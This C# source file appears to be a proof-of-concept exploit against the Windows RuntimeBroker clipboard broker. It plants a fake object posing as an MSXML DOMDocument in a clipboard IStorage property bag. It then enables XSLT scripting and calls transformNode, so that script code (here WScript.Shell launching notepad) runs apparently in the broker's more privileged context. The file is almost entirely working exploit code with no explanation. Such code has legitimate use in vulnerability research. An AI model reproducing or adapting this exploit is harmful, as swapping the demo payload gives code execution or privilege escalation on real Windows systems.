using System; using System.ComponentModel; using System.Runtime.InteropServices; using System.Runtime.InteropServices.ComTypes; using System.Text; namespace RuntimeBroker { [ComVisible(true), Guid("6040ec14-6557-41f9-a3f7-b1cab7b42120"), InterfaceType(ComInterfaceType.InterfaceIsIInspectable)] interface IRuntimeBroker { void ActivateInstance(/* Stack Offset: 8 */ [In, MarshalAs(UnmanagedType.LPWStr)] string p0, /* Stack Offset: 16 */ [Out, MarshalAs(UnmanagedType.IUnknown)] out object p1); void GetActivationFactory(/* Stack Offset: 8 */ [In, MarshalAs(UnmanagedType.LPWStr)] string p0, /* Stack Offset: 16 */ [In] ref Guid p1, /* Stack Offset: 24 */ [Out, MarshalAs(UnmanagedType.IInspectable)] /* iid_is param offset: 16 */ out object p2); void SetErrorFlags(/* Stack Offset: 8 */ [In] int p0); void GetErrorFlags(/* Stack Offset: 8 */ [Out] out int p0); void DebuggerAddRef(); void DebuggerRelease(); void GetClipboardBroker(/* Stack Offset: 8 */ [Out, MarshalAs(UnmanagedType.IUnknown)] out object broker); } [ComVisible(true), Guid("c76c0834-6556-435e-903c-8c0a33484afa"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IRunAsClipboard { void Proc3(); } [ComVisible(true), Guid("b6fb7c7c-0bb2-4c59-b866-d6b153521af6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IImpersonateClipboardOwner { void Proc3(/* Stack Offset: 8 */ [In] IRunAsClipboard p0); } //OLD IID //[ComVisible(true), Guid("e9df6551-d69b-41d9-9dae-91d534251026"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] [ComVisible(true), Guid("AC57CAFF-E1CB-4325-8D0A-0DA256C83284"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IClipboardBroker { void SetClipboard(/* Stack Offset: 8 */ [In] IDataObject p0); void GetClipboard(/* Stack Offset: 8 */ [Out] out IDataObject p0, /* Stack Offset: 16 */ [Out] out int p1); void FlushClipboard(); void IsCurrentClipboard(/* Stack Offset: 8 */ [In] IDataObject p0); void GetExternalReference(/* Stack Offset: 8 */ [Out] out IClipboardBroker p0); void ValidateAndAcquireACImpersonationSource(/* Stack Offset: 8 */ [In] IDataObject p0, /* Stack Offset: 16 */ [Out] out IImpersonateClipboardOwner p1); void SetClipboardEnterpriseId(/* Stack Offset: 8 */ [In] [MarshalAs(UnmanagedType.LPWStr)] string p0); void GetClipboardEnterpriseId(/* Stack Offset: 8 */ [Out] [MarshalAs(UnmanagedType.LPWStr)] out string p0); } [ComImport, Guid("0000000B-0000-0000-C000-000000000046"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IStorage { [return: MarshalAs(UnmanagedType.Interface)] IStream CreateStream([In, MarshalAs(UnmanagedType.BStr)] string pwcsName, [In, MarshalAs(UnmanagedType.U4)] int grfMode, [In, MarshalAs(UnmanagedType.U4)] int reserved1, [In, MarshalAs(UnmanagedType.U4)] int reserved2); [return: MarshalAs(UnmanagedType.Interface)] IStream OpenStream([In, MarshalAs(UnmanagedType.BStr)] string pwcsName, IntPtr reserved1, [In, MarshalAs(UnmanagedType.U4)] int grfMode, [In, MarshalAs(UnmanagedType.U4)] int reserved2); [return: MarshalAs(UnmanagedType.Interface)] IStorage CreateStorage([In, MarshalAs(UnmanagedType.BStr)] string pwcsName, [In, MarshalAs(UnmanagedType.U4)] int grfMode, [In, MarshalAs(UnmanagedType.U4)] int reserved1, [In, MarshalAs(UnmanagedType.U4)] int reserved2); [return: MarshalAs(UnmanagedType.Interface)] IStorage OpenStorage([In, MarshalAs(UnmanagedType.BStr)] string pwcsName, IntPtr pstgPriority, [In, MarshalAs(UnmanagedType.U4)] int grfMode, IntPtr snbExclude, [In, MarshalAs(UnmanagedType.U4)] int reserved); void CopyTo(int ciidExclude, [In, MarshalAs(UnmanagedType.LPArray)] Guid[] pIIDExclude, IntPtr snbExclude, [In, MarshalAs(UnmanagedType.Interface)] IStorage stgDest); void MoveElementTo([In, MarshalAs(UnmanagedType.BStr)] string pwcsName, [In, MarshalAs(UnmanagedType.Interface)] IStorage stgDest, [In, MarshalAs(UnmanagedType.BStr)] string pwcsNewName, [In, MarshalAs(UnmanagedType.U4)] int grfFlags); void Commit(int grfCommitFlags); void Revert(); void EnumElements([In, MarshalAs(UnmanagedType.U4)] int reserved1, IntPtr reserved2, [In, MarshalAs(UnmanagedType.U4)] int reserved3, [MarshalAs(UnmanagedType.Interface)] out object ppVal); void DestroyElement([In, MarshalAs(UnmanagedType.BStr)] string pwcsName); void RenameElement([In, MarshalAs(UnmanagedType.BStr)] string pwcsOldName, [In, MarshalAs(UnmanagedType.BStr)] string pwcsNewName); void SetElementTimes([In, MarshalAs(UnmanagedType.BStr)] string pwcsName, [In] System.Runtime.InteropServices.ComTypes.FILETIME pctime, [In] System.Runtime.InteropServices.ComTypes.FILETIME patime, [In] System.Runtime.InteropServices.ComTypes.FILETIME pmtime); void SetClass([In] ref Guid clsid); void SetStateBits(int grfStateBits, int grfMask); void Stat([Out] System.Runtime.InteropServices.ComTypes.STATSTG pStatStg, int grfStatFlag); } [StructLayout(LayoutKind.Sequential)] class PROPVARIANT { const ushort VT_UNKNOWN = 13; ushort vt; ushort wReserved1; ushort wReserved2; ushort wReserved3; IntPtr pUnknown; public PROPVARIANT(object obj) { vt = VT_UNKNOWN; pUnknown = Marshal.GetIUnknownForObject(obj); } public PROPVARIANT() { vt = VT_UNKNOWN; } public object ToObject() { return Marshal.GetObjectForIUnknown(pUnknown); } } [ComImport, ComVisible(true)] [Guid("55272A00-42CB-11CE-8135-00AA004BB851")] [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IPropertyBag { void Read([In] string propName, [In, Out] PROPVARIANT ptrVar, IntPtr errorLog); void Write([In] string propName, [In, Out] PROPVARIANT ptrVar); } [ComImport, Guid("00000109-0000-0000-C000-000000000046"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IPersistStream { void GetClassID(out Guid clsid); int IsDirty(); void Load(IStream pStm); void Save(IStream pStm, bool fClearDirty); void GetSizeMax(out ulong pcbSize); } [ComVisible(true)] class FakeObject : IPersistStream { public void GetClassID(out Guid clsid) { Console.WriteLine("GetClassID"); //MSXML.DOMDocument.6.0 clsid = new Guid("88D96A05-F192-11D4-A65F-0040963251E5"); } public void GetSizeMax(out ulong pcbSize) { Console.WriteLine("GetSizeMax"); pcbSize = 1024; } public int IsDirty() { Console.WriteLine("IsDirty"); return 0; } public void Load(IStream pStm) { Console.WriteLine("Load"); } public void Save(IStream pStm, bool fClearDirty) { Console.WriteLine("Save"); byte[] arr = Encoding.ASCII.GetBytes(" function xml(nodelist) { var o = new ActiveXObject('WScript.Shell'); o.Exec('notepad'); return nodelist.nextNode().xml; } "); pStm.Write(arr, arr.Length, IntPtr.Zero); Console.WriteLine("Done Write"); } } [ComVisible(true)] class DataObject : IDataObject { [DllImport("shell32.dll")] static extern int SHCreateStdEnumFmtEtc( int cfmt, FORMATETC[] afmt, out IEnumFORMATETC ppenumFormatEtc ); public int DAdvise(ref FORMATETC pFormatetc, ADVF advf, IAdviseSink adviseSink, out int connection) { Console.WriteLine("DAdvise"); throw new NotImplementedException(); } public void DUnadvise(int connection) { Console.WriteLine("DUnadvise"); throw new NotImplementedException(); } public int EnumDAdvise(out IEnumSTATDATA enumAdvise) { Console.WriteLine("EnumDAdvise"); throw new NotImplementedException(); } public IEnumFORMATETC EnumFormatEtc(DATADIR direction) { Console.WriteLine("EnumFormatEtc"); FORMATETC fmt = new FORMATETC(); fmt.tymed = TYMED.TYMED_ISTORAGE; fmt.cfFormat = 1; fmt.dwAspect = DVASPECT.DVASPECT_CONTENT; fmt.lindex = -1; FORMATETC[] fmts = new FORMATETC[] { fmt }; IEnumFORMATETC e; int hr = SHCreateStdEnumFmtEtc(1, fmts, out e); if (hr != 0) { Marshal.ThrowExceptionForHR(hr); } return e; } public int GetCanonicalFormatEtc(ref FORMATETC formatIn, out FORMATETC formatOut) { Console.WriteLine("GetCanonicalFormatEtc"); throw new NotImplementedException(); } public void GetData(ref FORMATETC format, out STGMEDIUM medium) { throw new NotImplementedException(); } private bool _setclipboard; public void GetDataHere(ref FORMATETC format, ref STGMEDIUM medium) { try { Console.WriteLine("GetDataHere {0} {1:X}", medium.tymed, Marshal.ReadIntPtr(medium.unionmember).ToInt64()); if (_setclipboard && medium.tymed == TYMED.TYMED_ISTORAGE) { IStorage stg = (IStorage)Marshal.GetObjectForIUnknown(medium.unionmember); IStorage new_stg = stg.CreateStorage("TestStorage", 2 | 0x1000 | 0x10, 0, 0); Console.WriteLine("new_stg: {0}", new_stg); IPropertyBag bag = (IPropertyBag)new_stg; Console.WriteLine("Bag: {0}", bag); object o = new FakeObject(); PROPVARIANT var = new PROPVARIANT(o); bag.Write("X", var); new_stg.Commit(0); Marshal.ReleaseComObject(bag); Marshal.ReleaseComObject(new_stg); new_stg = stg.OpenStorage("TestStorage", IntPtr.Zero, 0x12, IntPtr.Zero, 0); bag = (IPropertyBag)new_stg; var = new PROPVARIANT(); bag.Read("X", var, IntPtr.Zero); dynamic doc = var.ToObject(); Console.WriteLine("Done Read {0}", doc); doc.setProperty("AllowXsltScript", true); doc.transformNode(doc); _setclipboard = false; Environment.Exit(1); } } catch(Exception ex) { Console.WriteLine("GetDataHere: {0}", ex); Environment.Exit(1); } throw new NotImplementedException(); } public int QueryGetData(ref FORMATETC format) { Console.WriteLine("QueryGetData"); throw new NotImplementedException(); } public void SetData(ref FORMATETC formatIn, ref STGMEDIUM medium, bool release) { Console.WriteLine("SetData"); throw new NotImplementedException(); } public void SetClipboardDone() { _setclipboard = true; } } class Program { [DllImport("ole32.dll")] static extern int CoInitializeSecurity( IntPtr pSecDesc, int cAuthSvc, IntPtr asAuthSvc, IntPtr pReserved1, int dwAuthnLevel, int dwImpLevel, IntPtr pAuthList, int dwCapabilities, IntPtr pReserved3 ); static void Main(string[] args) { try { int hr = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, 0, 3, IntPtr.Zero, 0, IntPtr.Zero); if (hr != 0) { Marshal.ThrowExceptionForHR(hr); } Type t = Type.GetTypeFromCLSID(new Guid("D63B10C5-BB46-4990-A94F-E40B9D520160")); IRuntimeBroker broker = (IRuntimeBroker)Activator.CreateInstance(t); object clipboard_broker; broker.GetClipboardBroker(out clipboard_broker); Console.WriteLine(clipboard_broker); IClipboardBroker clipboard = (IClipboardBroker)clipboard_broker; DataObject obj = new DataObject(); clipboard.SetClipboard(obj); Console.WriteLine("SetClipboard Complete"); obj.SetClipboardDone(); IDataObject da; int sequence; clipboard.GetClipboard(out da, out sequence); FORMATETC fmt = new FORMATETC(); fmt.tymed = TYMED.TYMED_ISTORAGE; fmt.cfFormat = 1; fmt.dwAspect = DVASPECT.DVASPECT_CONTENT; fmt.lindex = -1; STGMEDIUM stg = new STGMEDIUM(); da.GetData(ref fmt, out stg); Console.WriteLine("GetClipboard Complete"); } catch (Exception ex) { Console.WriteLine(ex); } } } }